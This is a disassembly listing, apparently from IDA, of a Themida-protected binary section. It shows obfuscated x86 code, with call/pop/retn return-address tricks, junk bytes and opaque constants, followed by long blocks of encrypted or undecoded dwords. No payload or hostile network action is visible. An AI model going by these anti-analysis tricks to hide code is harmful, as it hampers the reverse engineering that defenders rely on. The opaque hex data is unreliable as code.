; =============== S U B	R O U T	I N E =======================================



sub_5CBC26	proc near		; CODE XREF: Themida_:005CBC1Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5CBC26	endp

; ---------------------------------------------------------------------------
		stosd
		xor	eax, 25298D01h
		adc	al, 6
		mov	edi, large fs:2Ch
		jnz	loc_5CBC50
		mov	edx, 6A3F0B6Fh


loc_5CBC50:				; CODE XREF: Themida_:005CBC45j
		mov	esi, edi
		or	edi, edi
		jz	loc_5CBC84
		push	esi
		jnz	loc_5CBC67
		sub	[ebp+6140CA1h],	ebx


loc_5CBC67:				; CODE XREF: Themida_:005CBC5Bj
		pop	esi
		mov	edi, [edi]
		xor	[ebp+61425BDh],	eax
		mov	si, 0DF2Ch
		xor	al, al
		or	edx, [ebp+6140869h]
		rep stosb
		or	[ebp+614321Dh],	esi


loc_5CBC84:				; CODE XREF: Themida_:005CBC15j
					; Themida_:005CBC54j
		xor	eax, 53504149h
		xor	esi, [ebp+6143485h]
		mov	byte ptr [ebp+6141A59h], 47h
		mov	edx, [ebp+61402F1h]
		push	0A40295F1h
		add	dword ptr [esp], 38D3F23Bh
		mov	dl, al
		push	dword ptr [ebp+6141AD1h]
		pusha
		jmp	loc_5CBCCA
; ---------------------------------------------------------------------------
		dw 0A3E3h
		dd 0FD6C201Eh, 5FAF1EB8h, 1CA7BA27h, 0C4FFA4F4h
		db 2Fh,	0B4h
; ---------------------------------------------------------------------------


loc_5CBCCA:				; CODE XREF: Themida_:005CBCB1j
		popa
		lea	eax, [ebp+61780DBh]
		sub	[ebp+6143225h],	edi
		call	eax
		sbb	esi, 1FD409AFh
		mov	[ebp+6140C91h],	eax
		mov	[ebp+6142415h],	esi
		mov	byte ptr [ebp+6141A59h], 53h
		mov	edx, [ebp+61421B1h]
		push	277192B4h
		jmp	loc_5CBD11
; ---------------------------------------------------------------------------
		dw 791Eh
		dd 0A8C983FFh, 730F2D04h, 7BD81417h
		db 0Dh
; ---------------------------------------------------------------------------


loc_5CBD11:				; CODE XREF: Themida_:005CBCFDj
		add	dword ptr [esp], 6126D848h
		push	0
		push	eax
		call	sub_5CBD23
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBD23	proc near		; CODE XREF: Themida_:005CBD1Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5CBD23	endp

; ---------------------------------------------------------------------------
		db 73h
		dd 4A9630Bh, 0FFD375DCh, 141AD1B5h, 0D38B6606h,	80DB858Dh
		dd 8D890617h, 6142369h,	0BA66D0FFh, 0F6070D6h, 8D8BFAB7h
		dd 6142431h, 6858D61h, 8B06173Eh, 258589D6h, 89061435h
		dd 142B3D9Dh, 0DEE68006h, 0FF6A206Ah, 352595FFh, 49350614h
		dd 0C7535041h, 1403D985h, 106h,	0FD85C700h, 61429h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0C552C355h, 764AD0A8h, 8589534Fh,	6140061h
		dd 0C995235Ah, 0F9061421h, 1CB1858Bh, 0F08B0614h, 0A364h
		dd 83F50000h, 142309BDh, 840F0006h, 5Ch, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 0EFC35242h, 7131B470h
		dd 9600D42Ch, 66F28166h, 13830F3Eh, 0E8000000h,	7, 1BF4111Ch
		dd 89B0D5F4h, 14223D85h, 858B5E06h, 6142189h, 68F0Fh, 95330000h
		dd 6142AF1h, 958BE08Bh,	6140FEDh, 3DBD83h, 0F000614h, 46F85h
		dd 38E0F00h, 66000000h,	85C6F08Bh, 6141A59h, 53006A56h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0C0E02817h, 513411DCh, 0E8D68B66h, 4, 0A9C530DFh, 6E9h
		dd 716EB300h, 504A5173h, 14E9h,	47D16400h, 5F4A2B40h, 0DB7AF828h
		dd 75DD9E18h, 85BCF94Ah, 24448B89h, 0DDBA6604h,	0F008B79h
		dd 1288h, 0AE85600h, 29000000h,	0B1EE9535h, 61C56554h
		dd 895A5EE2h, 66042444h, 5821BEBEh, 1AD1B5FFh, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 6AB16CC3h, 858D4C00h, 61780DBh, 8E0F53h, 5E000000h
		dd 7E9D0FFh, 39000000h,	2B7DFB62h, 50900671h, 66525060h
		dd 310FF18Bh, 9061585Ah, 1D618531h, 8D8D0614h, 6140095h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0AAC35545h
		dd 15C68166h, 0BE6650E4h, 0C898DD0h, 52006A24h
; ---------------------------------------------------------------------------


loc_5CBF68:				; DATA XREF: Themida_:005497DCo
					; Themida_:00549AC0o ...
		call	sub_5CBF70
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF70	proc near		; CODE XREF: Themida_:loc_5CBF68p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5CBF70	endp

; ---------------------------------------------------------------------------
		mov	ch, dh
		mov	[ebp+6142E61h],	eax
		mov	esi, 5A30DAFDh
		push	4
		push	0
		push	esi
		call	sub_5CBF9A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF9A	proc near		; CODE XREF: Themida_:005CBF92p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5CBF9A	endp

; ---------------------------------------------------------------------------
		dw 0F72h
		dd 380h, 0D1BF0F00h, 0BE9h, 0DD975B00h,	0DC119474h, 0E641CDF0h
		dd 0C47AED68h, 8B6651F0h, 4815ED3h, 3B951324h, 57006A0Fh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 51D39635h, 0E9F0492Ah, 9, 9C6AD33h, 1DD51B43h, 0F9B5FFF0h
		dd 6A061424h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0CCF6C357h, 0D0FFC411h, 1A31BD89h
		dd 0BD8B0614h, 61424F9h, 0B58B5150h, 6141DADh, 7F035E5Eh
		dd 39BD893Ch, 81061405h, 0F8C7h, 79B58B00h, 0C7061414h
		dd 202447h, 5E506000h, 2F3FBD83h, 0F00061Ch, 16E84h, 0AE800h
		dd 0F3F50000h, 4670AEBh, 62880C82h, 0BE8h, 7F53A300h, 1B4CEA2Ch
		dd 47AEF8ECh, 5A5E6160h, 6028C783h, 0BC99589h, 10E80614h
		dd 0ED000000h, 0F4C2B7B6h, 55C5D1F2h, 78EC9BD6h, 0F21B27Ch
		dd 615FF2B7h, 6A2E07C7h, 6A6469h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0DF3B7AC3h, 0BE66DDA1h
		dd 47C735D8h, 61746104h, 858BF500h, 61C2F47h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8CC35545h, 89F8C030h
		dd 958B0C47h, 61410D5h,	2F4B858Bh, 4789061Ch, 0C99D8908h
		dd 83061414h, 0BA5728C7h, 61EC3FDBh, 2E07C75Eh,	6A6E6F63h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 8BA3C353h, 0F6816680h, 47C7BC15h,	67696604h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 8A3B2716h, 0F63C3566h, 8166162Fh, 33E346CEh
		dd 14151DB5h, 43858B06h, 89061C2Fh, 140A099Dh, 0F1858906h
		dd 8906142Ah, 0BE660C47h, 858B0392h, 61C2F3Fh, 0DE9h, 5A60AB00h
		dd 0CDFB0EFh, 8D88BDD7h, 47897B30h, 0E9606008h,	0Bh, 88D4749Dh
		dd 5D5B743Ah, 89D093DFh, 140D5DBDh, 58616106h, 5E8h, 3D768800h
		dd 9D898D1Fh, 6140BFDh,	658D8D5Ah, 33061426h, 141AA9B5h
		dd 0BE669106h, 0BA509DA2h, 22CC728Eh, 0BD952B91h, 60061425h
		dd 1D9D2950h, 5F061408h, 0B5FF61FCh, 6140095h, 12E9h, 0D95CD200h
		dd 1FF2827Ah, 0C463B828h, 0F9F7E443h, 68C58D67h, 946CAA3Bh
		dd 481F48Ah, 9365C524h,	55006A6Bh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0C32F6977h, 0E5973316h
		dd 81666617h, 0FF0771EEh, 1424F9B5h, 9830F06h, 60000000h
		dd 38437EBEh, 6159513Dh, 1031958Bh, 0D0FF0614h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 48C35040h, 0E9C18147h
		dd 0Eh,	8766BC04h, 0CB913BE4h, 0A59EF037h, 0BD89C1D0h
		dd 6142E79h, 0B8h, 0DE816600h, 5660570Eh, 15958Bh, 895E0614h
		dd 1430AD8Dh, 0C00B6106h, 4C840Fh, 958B0000h, 61424F5h
		dd 71FFDA81h, 0B5FF14CEh, 6140299h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 7FC35646h, 137621Dh, 0FDB52960h
		dd 1061410h, 142B81BDh,	95FF6106h, 6142361h, 2D1B58Bh
		dd 0C08B0614h, 2820Fh, 0ECB60000h, 30B1BD83h, 75000614h
		dd 0E1BD8309h, 6141Ah, 53501974h, 2DB8C08Bh, 89000004h
		dd 1430C185h, 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh
		dd 17740006h, 2DB85350h, 89000004h, 1430C185h, 429D8D06h
		dd 0FF0616B4h, 0F585BD3h, 283h,	0BAF28B00h, 316772C0h
		dd 12797DBAh, 6AC08B27h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0C9D5C355h,	6B26C1FAh
		dd 0E9845BEh, 0AD952B61h, 8B06140Bh, 0BC8D8DC0h, 66061C38h
		dd 54B8C38Bh, 89295507h, 1432298Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0B5DB1D2Eh
		dd 8B66F261h, 4D85C7D0h, 0E8061406h, 6A000072h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0A828C350h, 0BFCE8166h, 7185C71Ah, 61426h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 47D6C351h, 8B52AFB2h, 0B5FF5AFEh,	61406A5h
		dd 95FF9DB2h, 6142361h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0EC35040h, 9EE75DB3h,	52152892h, 0C49958Bh
		dd 858B0614h, 61405D9h,	95FF006Ah, 6141169h, 1EEBC08Bh
		dd 0D097786Dh, 7E19B5A3h, 0BC0B4EA1h, 0BF8E74BFh, 54C95716h
		dd 0FB315E7Dh, 0ADB47C7Ah, 8D8DD9B1h, 61C39E1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 41C35545h, 8D89E901h
		dd 6143229h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	1EC35343h, 0C151AB7h, 85895985h, 6141BC9h, 64D85C7h
		dd 5CEC0614h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0C70A27C3h, 14267185h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0FA52A1DAh, 0ED958B50h, 5F061400h, 2319B5FFh, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 1EFCC3C3h, 0E94DD54Bh, 8, 413C6E04h,	8D0EF047h, 236195FFh
		dd 12E90614h, 1F000000h, 744D0CDDh, 8875EB84h, 2A361775h
		dd 2F8A088h, 0FF006AAAh, 14116995h, 0EBC08B06h,	0BADE261Eh
		dd 2FD27E58h, 8FD37432h, 0D998FA76h, 0EDE1140Eh, 4556E474h
		dd 0D88EB7A2h, 0E8BC6AA5h, 12h
dword_5CC5E8	dd 3CBC1AECh, 56DAA80Fh, 0E5C42D23h, 0C6653726h, 8D8B5B71h
					; DATA XREF: Themida_:0054ACA0o
		dd 6142CF5h, 0C1BD895Fh, 81061420h, 595DC7h, 68F0F00h
		dd 29000000h, 1405FD9Dh, 8BDB2B06h, 0B70F1F14h,	0CCEA81CFh
		dd 293C6A2Ah, 1434E9B5h, 0F8F28106h, 661BE0E5h,	811B58B9h
		dd 0DAAF8EC2h, 1DF48023h, 0F1F1489h, 28Eh, 0F9F08B00h
		dd 7E06EB81h, 81667D42h, 818CDDF1h, 427E02C3h, 7D858B7Dh
		dd 81061434h, 0FFA72CFBh, 0AC850FFFh, 89FFFFFFh, 14192D9Dh
		dd 0E900EB06h, 41Bh, 40922DAFh,	0FB4D7063h, 0B507B41Eh
		dd 6ABCFDD8h, 21734A8Dh, 0F7E0D0E8h, 3A9774C6h,	88502D7Fh
		dd 0CE08E537h, 78F9BEDh, 0E221B01h, 0CD342F58h,	0B4FCC112h
		dd 0BC16EEE7h, 63BB67FFh, 8B472434h, 0D401DE30h, 8D09DE5h
		dd 9B7888B7h, 572F813Ch, 0C5243C80h, 8AB9A467h,	1365587Fh
		dd 0D61E9B36h, 6322080Eh, 0E3651F2h, 0E6F2CFDFh, 2CAA87D9h
		dd 403E67D0h, 0BB53A7F3h, 0E5429C73h, 0EA6CDAA3h, 1C95ABBBh
		dd 0C057EACFh, 0DDDEF851h, 8B12431h, 0DEF7C45Ch, 3FAD89DBh
		dd 0A641478Fh, 145E00E2h, 0FDCA4ECh, 886EF4C7h,	9C5E21C2h
		dd 95DB4574h, 5E21C2B3h, 74209938h, 0A14D7067h,	0E8C9896Dh
		dd 4843FF21h, 0F2BE171Dh, 137E1h, 0C512F800h, 923F4CF8h
		dd 636E7B27h, 0BA42BE56h, 9861BF2h, 38DC9867h, 92D3C509h
		dd 0A67D51F2h, 0A62B2DC0h, 14B2BC13h, 173FC3F2h, 43785E6Bh
		dd 0F9C214F1h, 777D454Dh, 51F2BB91h, 444E7DA5h,	1AE22AD6h
		dd 0F2BC2E14h, 0EB1A4251h, 0E0F4DFE5h, 0A98057E5h, 0D0A6F24Bh
		dd 229D3BF3h, 57861E76h, 0AAFFABD3h, 24B24A08h,	81874F97h
		dd 5806569Bh, 5741272Dh, 2D555806h, 103F67h, 407B5B28h
		dd 30DCDFF3h, 319FA9D8h, 0C83F458Dh, 0FE5DF9A7h, 5C08B721h
		dd 0D0B6BC04h, 0E45E1A86h, 0FDC24BCh, 0F34BF7C2h, 8A4D5AC4h
		dd 0D304E133h, 731F9E35h, 0CBD7831Bh, 6268B05Eh, 5E1A874Ch
		dd 5665713Eh, 0D20552AAh, 1038BCEBh, 0E0DBFBC8h, 9DADDC34h
		dd 63AB53C1h, 0DA5365Dh, 0F8A4CC64h, 7D5B28F0h,	0A5D6BC42h
		dd 0C2EA642Eh, 6E4F8893h, 816D441Ch, 2C2D6084h,	5C7B86B5h
		dd 3CA9B561h, 1E484E96h, 28642EE3h, 7B3E9360h, 2EE40FF5h
		dd 6BFB9264h, 0C6F12E28h, 8A90D800h, 642E57A4h,	0DD6190B8h
		dd 0BE8B63B5h, 34BA217h, 6037E262h, 3E99A4D3h, 88552D7Fh
		dd 5B42714Ah, 0B1F9A513h, 0E534C8ABh, 0DCF9D657h, 8C9945DDh
		dd 11F714Ah, 9A48B564h,	0BC16E3F9h, 0AA8CD0FFh,	2F580614h
		dd 0E5C214A7h, 111ECAF1h, 0D84AF6C5h, 5B23D674h, 6156F55h
		dd 0E6D7FC58h, 0BEC9F820h, 845BA318h, 4EB6E255h, 0A3B3E2EAh
		dd 0D9AC0065h, 90965EF8h, 580639AAh, 16796BEh, 3Dh, 0F9A51318h
		dd 0CC0ABB1h, 0A6CE57E5h, 242AF2FAh, 58060D3Eh,	0EFB508CBh
		dd 4BDBAA08h, 0C55D5EFFh, 704B8B96h, 787E461Eh,	58067492h
		dd 0E2C8CEA6h, 0F6580674h, 0FB0736CEh, 20h, 494F1752h
		dd 51F1E863h, 0ED4E5F0h, 29ACB7E6h, 5DCE490h, 155614BBh
		dd 535E8D35h, 2DE63883h, 0A4F6C312h, 8E431098h,	0F8277F2Bh
		dd 0E7F2ECF2h, 0D49C51F1h, 41EDD007h, 0E87D63E9h, 699151F1h
		dd 5602BB1Ch, 234BCFFEh, 4F6C6A77h, 0EEAC4EA3h,	0AD79F27h
		dd 0EE46F2C7h, 0E7817BBFh, 0D0AD51F1h, 0E7D80006h, 9F4BE33Bh
		dd 9F67AF47h, 4C25ABC8h, 9384198h, 0F287DFC5h, 79CBF351h
		dd 0F9C23A9Ch, 9E088A91h, 44DCDFF3h, 14365AACh,	2EDFh
		dd 4A173600h, 957B818Eh, 0A951F1E7h, 0AFBAE981h, 0DBE89427h
		dd 966EC0FBh, 0FC0209C9h, 51F1E816h, 0BE6A022Ah, 0F8090F66h
		dd 67DDCFD8h, 1298FF38h, 3C49F5CAh, 6875219Ah, 96A34F70h
		dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h
		dd 33B86459h, 524468h, 240C8900h, 0C181E189h, 4, 8704E983h
		dd 575C240Ch, 0C781E789h, 4, 8704EF83h,	895C243Ch, 2568240Ch
		dd 8900005Bh, 0BA522434h, 72F17050h, 2ACA4DB9h,	8BD10193h
		dd 0C4812414h, 4, 24348B54h, 5104C483h,	78240481h, 8F3B0E16h
		dd 0BA520846h, 3B0E1678h, 5A085629h, 5324348Bh,	0C381E389h
		dd 4, 8704C383h, 8B5C241Ch, 8950240Ch, 405E0h, 4050000h
		dd 87000000h, 0E95C2404h, 0FFF83F6Fh, 2DB8B21Dh, 0B85E76FBh
		dd 61C3E21h, 0E0FFC503h, 6F2A95C4h, 10B1D3D6h, 50D44FB4h
		dd 4B9BDA0Fh, 30501610h, 361198F1h, 40CDC3AFh, 98C2EC8h
		dd 5E2737A6h, 43EB9BEh,	0AE956h, 65020000h, 89C4D1E3h
		dd 52D36973h, 0E8D3BF0Fh, 6, 802570E6h,	5AF9BCC0h, 0E9F78B66h
		dd 0Eh,	0E1BB654Ah, 7B77AD4Ah, 62834242h, 12E9DFADh, 0C000000h
		dd 0BEC0F29Dh, 54ECF7E1h, 36D6176h, 693E3906h, 8B0F52F0h
		dd 2, 0F58FA8Bh, 8B66DFBFh, 0A880FCBh, 0E9000000h, 5, 0F71B15A3h
		dd 0CE976h, 28190000h, 3CA4E3E2h, 0D02ADD7h, 0F604F81h
		dd 181h, 0BE60F800h, 1B3E0A43h,	0B1ACF81h, 616117B3h, 18A0Fh
		dd 0E8F90000h, 11h, 1C905B89h, 82F6B98Fh, 25280296h, 69E46D48h
		dd 14810F2Eh, 0E9000000h, 0Fh, 0C9F9FA8h, 0D0F64717h, 6DD4B708h
		dd 5A87C9F8h, 0C28177B0h, 1B4B5985h, 32E9B866h,	0E9D2B70Fh
		dd 6, 9B916B4Eh, 0D281AAE1h, 4A0D4FE2h,	9E38166h, 8E997h
		dd 0FA650000h, 3BD50175h, 0EF809F40h, 0E974B56Ah, 0Bh
		dd 740D4774h, 547E02C4h, 0F1B55C8h, 684h, 830F00h, 66000000h
		dd 0FC0531BBh, 81C4F780h, 5FDA60C1h, 58C28124h,	0E921843Fh
		dd 14h,	4DA50DFEh, 50AD6D73h, 578BA8D6h, 0F4805964h, 6FBFDD38h
		dd 10E9h, 0B0425100h, 81E395A8h, 72B95345h, 465D2035h
		dd 0CABF0F0Ah, 0B79FBF66h, 12E9h, 88E14900h, 0E6B1B0A1h
		dd 25238E10h, 0D0636451h, 807DEA3Fh, 0BA66D9EDh, 0B70F566Eh
		dd 816660CBh, 803253CBh, 8B6100C7h, 8B6057CEh, 0CE8D3h
		dd 0E52E0000h, 17644588h, 6B3423CFh, 61597977h,	0F181665Fh
		dd 0EE9C1A2h, 53000000h, 0F92FBF9Dh, 8268286Fh,	2EEE8888h
		dd 15800F6Eh, 0E9000000h, 10h, 0CB27A6F7h, 7D26FB7Dh, 3EDB50E8h
		dd 5BA8461Bh, 667ED080h, 565F281h, 0D38A5151h, 0BF0F585Fh
		dd 87CF81CEh, 0F51B22Dh, 870FC0B7h, 3, 0E9F38B66h, 8, 0A9208144h
		dd 0D4E958EBh, 5D08ACBBh, 0B966F85Eh, 0B866423Fh, 12E91091h
		dd 80000000h, 98C78BB8h, 0B9C1F71Ch, 4476B120h,	3E243EFAh
		dd 0CBBF0FAEh, 81F7BF0Fh, 8E96DBCEh, 8B66601Dh,	0C28061F3h
		dd 7BBF660Ch, 9E9EFh, 0B6CF0000h, 92D9C421h, 0F532CEE9h
		dd 0E245DA81h, 0D08107E9h, 52D65A26h, 10860Fh, 8E80000h
		dd 49000000h, 0F675115Fh, 8AE1FB36h, 90BF5ADDh,	0E9339508h
		dd 0Bh,	0A815DE1Bh, 0F3F08240h,	0E91DD274h, 9, 47BB9398h
		dd 113B49Ah, 0AE9CBh, 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah
		dd 0E9F08BF8h, 13h, 9E93CD5Ah, 7372B7E6h, 9FD14C28h, 73F0020Eh
		dd 6670E526h, 19B3D68Bh, 0DE8h,	0CCB77000h, 773C44E0h
		dd 88A07890h, 0E68A1536h, 0C6BF0F5Fh, 0E9F6BF0Fh, 0Ch
		dd 0FE8FCB49h, 9C22F12Dh, 61A7ED0h, 0AC50FBFh, 0DF816658h
		dd 0BE660368h, 8B667C59h, 0AE9C2h, 0EDC40000h, 459B099h
		dd 277F148Ch, 0D8B0Fh
		dd 8E90000h, 21000000h,	0E2B44B2Fh, 0B6518137h,	10E982h
		dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0F1813DDCh
		dd 5E299C1Fh, 0D5B7BA66h, 6657F3B1h, 5FD81ABFh,	0BE9h
		dd 376D600h, 0FC6F8DC1h, 29C9C20Ah, 0DE960h, 0D4E90000h
		dd 9B8DB5AFh, 0A592DDFDh, 66CFBD9Ch, 61C9BAB9h,	0F3816660h
		dd 0E95072CFh, 5, 8D448FF1h, 0F86159B4h, 74F18166h, 0F28151B8h
		dd 491DE5FAh, 7E959h, 905F0000h, 85FD1350h, 16D48020h
		dd 0C21ABA66h, 9E8h, 1BA6E300h,	0CFC0696Eh, 0C38102B2h
		dd 78E9B0CEh, 0BF0F5258h, 0DE958D9h, 0D4000000h, 4852EFCCh
		dd 0F41B4C0h, 86C660E7h, 32BB6651h, 0E8805ADEh,	88BBF85Fh
		dd 8042785Eh, 8B6630E6h, 8A0FC1h, 66000000h, 940EC181h
		dd 0EE8h, 0E2207400h, 2F6DD56Bh, 40BC1E47h, 0F944956h
		dd 80h,	81665800h, 0F4800C0h, 0BF66F3B7h, 11E99FF1h, 0AF000000h
		dd 595516CDh, 3A629E37h, 747FEBE6h, 0BC8917CEh,	93D18052h
		dd 0DD0B85Eh, 0EE97C27h, 7000000h, 0A102B943h, 0E81108AAh
		dd 693B5CD4h, 0F28B664Bh, 0B40EE780h, 6860F6Eh,	81000000h
		dd 632455DAh, 88EA8031h, 5840Fh, 0D2BB0000h, 601C827Ah
		dd 8A11B866h, 11E9h, 0AE078E00h, 0BECD47B4h, 86B0C0E4h
		dd 0D7B2A24Eh, 666180D3h, 0F174BBAh, 5251F3BFh,	7E8h, 5ABECB00h
		dd 348099DDh, 0B95F5B59h, 31AEAA49h, 880FE5B0h,	2, 12E9FB8Bh
		dd 0CC000000h, 0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch
		dd 0F8F9601Ch, 92B86661h, 12E847h, 64E10000h, 51537D33h
		dd 0FC7718AAh, 0F1F9C9F2h, 71C8856h, 0EFF28166h, 0BE95B7Ah
		dd 0F4000000h, 0C7BC7346h, 45F3EF73h, 0CB8BBEBDh, 5E40EE81h
		dd 0BF0F2793h, 5EF857D2h, 8A5F57F8h, 4EF680EFh,	0E9D3BF0Fh
		dd 10h,	0B10DB2F0h, 0B0D30739h,	6F29DFB3h, 0D7CE3498h
		dd 9E9FCFCh, 19000000h,	3B1720AFh, 98D6C09Ah, 2870Fh, 0E38A0000h
		dd 14E9h, 899D500h, 0D2619536h,	0D1A3CC68h, 7D604404h
		dd 722AE0F2h, 7E948h, 4DA40000h, 0B929317Ch, 0A7BA6678h
		dd 0FE90Fh, 10490000h, 0AE72C8ABh, 1F5C18F9h, 0BEE0C6D2h
		dd 8B575281h, 0E95F5BDEh, 0Fh, 0F595621Bh, 3A79F363h, 0B8D2514Bh
		dd 0F5BDF9CDh, 0EE9h, 243BE900h, 9A350C25h, 72215CBAh
		dd 0F588A4Dh, 382h, 0D6BF0F00h,	8B6624B2h, 7E8C3h, 0E3BE0000h
		dd 1071CDA0h, 0F08B66E3h, 53F5605Ah, 8F0Fh, 615A0000h
		dd 0DE9h, 1176C400h, 0CD433B4Eh, 640AD6E2h, 8166E0A2h
		dd 661260F3h, 660C10BBh, 8849DA81h, 66F78B66h, 0D081DE8Bh
		dd 2AFC6319h, 18F0Fh, 80F90000h, 0C28B26C8h, 7490D981h
		dd 0CC804C34h, 8E8F9h, 0A2CD0000h, 8087022Fh, 0B8BFB1D2h
		dd 5B1D25DAh, 0FD78B66h, 18Dh, 0CB8BF900h, 2ED68166h, 8A0F608Dh
		dd 3, 8080CA80h, 0F6108D9h, 8B66C2BFh, 0B96660C8h, 0CBA43C2h
		dd 614D76F0h, 0D38B6660h, 14E960h, 89050000h, 828D5252h
		dd 0EFBF5DFBh, 5885250Fh, 204E7B3h, 0FE8FC3Eh, 4000000h
		dd 0CF5DCBC7h, 61A25769h, 0F44F30E1h, 615AB7A9h, 78BA6661h
		dd 0F1BF0F12h, 0C16EBE66h, 28B0Fh, 0BEB60000h, 0E9F28B66h
		dd 0Ah,	90E28FFFh, 2D7474FDh, 880F613Fh, 3, 0F560C780h
		dd 19840Fh, 6E80000h, 0D9000000h, 0E1CF4535h, 7E896h, 935B0000h
		dd 549C066Ch, 0E95E5E66h, 0Dh, 7F480798h, 1451B5CBh, 2183D7E2h
		dd 80C18B4Fh, 0F38114D8h, 199A0F51h, 0FE960h, 3E6D0000h
		dd 977456B5h, 0F33D422Ch, 282A5613h, 0E961F89Dh, 5, 0A276A784h
		dd 0E081664Ah, 0CE9F684h, 4E000000h, 70E7DF51h,	0B69EE33Ch
		dd 0E980B1E2h, 0Ch, 6D7F9AE8h, 1E559D01h, 26D4BA62h, 0DE8CA8Bh
		dd 2E000000h, 0B9BE4840h, 0A558E777h, 5E098BEAh, 4897D981h
		dd 665F00D8h, 5E9C28Bh,	7E000000h, 1D5E76Ah, 3D59BB66h
		dd 0F5DBBF0Fh, 0C88166F8h, 0FF98FEFh, 181h, 8F0FFC00h
		dd 0
; ---------------------------------------------------------------------------
		mov	cx, 7BE0h
		sbb	cl, 76h
		jle	$+6
		xor	di, 0DF96h
		mov	edi, 5A675D7Fh	; CODE XREF: Themida_:005CD2B8j
		mov	ecx, 589CC619h
		mov	bx, cx
		clc
		jmp	loc_5CD28E
; ---------------------------------------------------------------------------
		adc	dword ptr [eax+5EAE91B4h], 0FFFFFFFCh
		jmp	short loc_5CD2B7
; ---------------------------------------------------------------------------
		dw 0A59Ch
		db 26h,	77h
; ---------------------------------------------------------------------------


loc_5CD28E:				; CODE XREF: Themida_:005CD27Cj
		mov	dl, 91h
		push	eax
		movzx	esi, si
		pop	edx
		mov	edx, eax
		pusha
		jmp	loc_5CD2A4
; ---------------------------------------------------------------------------
		pop	ds
		sub	[eax-1BBC3B9Dh], bh


loc_5CD2A4:				; CODE XREF: Themida_:005CD298j
		mov	ecx, ebx
		popa
		push	edx
		call	sub_5CD2BC
		mov	dh, 66h
		jmp	near ptr 37F010Eh
; ---------------------------------------------------------------------------
		db 0CDh, 22h, 60h
; ---------------------------------------------------------------------------


loc_5CD2B7:				; CODE XREF: Themida_:005CD288j
		stosd
		js	short near ptr loc_5CD26E+1
		pusha
; ---------------------------------------------------------------------------
		db 0C4h

; =============== S U B	R O U T	I N E =======================================



sub_5CD2BC	proc near		; CODE XREF: Themida_:005CD2A8p
		mov	ax, 0DF10h
		pop	ebx
		pop	eax
		and	edx, 43CB3596h
		jmp	loc_5CD2DB
; ---------------------------------------------------------------------------
		db 56h,	0B0h, 0DCh
		dd 0D8085B61h, 1A37A58Fh
		db 95h,	0DDh, 7Ah
; ---------------------------------------------------------------------------


loc_5CD2DB:				; CODE XREF: sub_5CD2BC+Cj
		mov	ebx, edi
		mov	edx, 46800D2Dh
		jnb	$+6


loc_5CD2E8:				; CODE XREF: sub_5CD2BC+41j
		or	edx, 56645105h
		call	near ptr loc_5CD2FD+1
		pop	ebp
		lodsb
		xchg	eax, ebx
		out	dx, eax
		xchg	eax, ebx
		mov	al, ds:2298ED1Dh


loc_5CD2FD:				; CODE XREF: sub_5CD2BC+32p
		jge	short loc_5CD2E8
sub_5CD2BC	endp ; sp-analysis failed

		adc	[eax], al
; ---------------------------------------------------------------------------
		db 2 dup(0), 17h
; ---------------------------------------------------------------------------
		jl	short loc_5CD329
		xchg	eax, ebx
		xchg	eax, esp
		add	es:[eax], ch
		mov	bl, 0B7h
		cdq
		mov	edx, 0E215F8D9h
		pop	ecx
		mov	dx, 0E436h
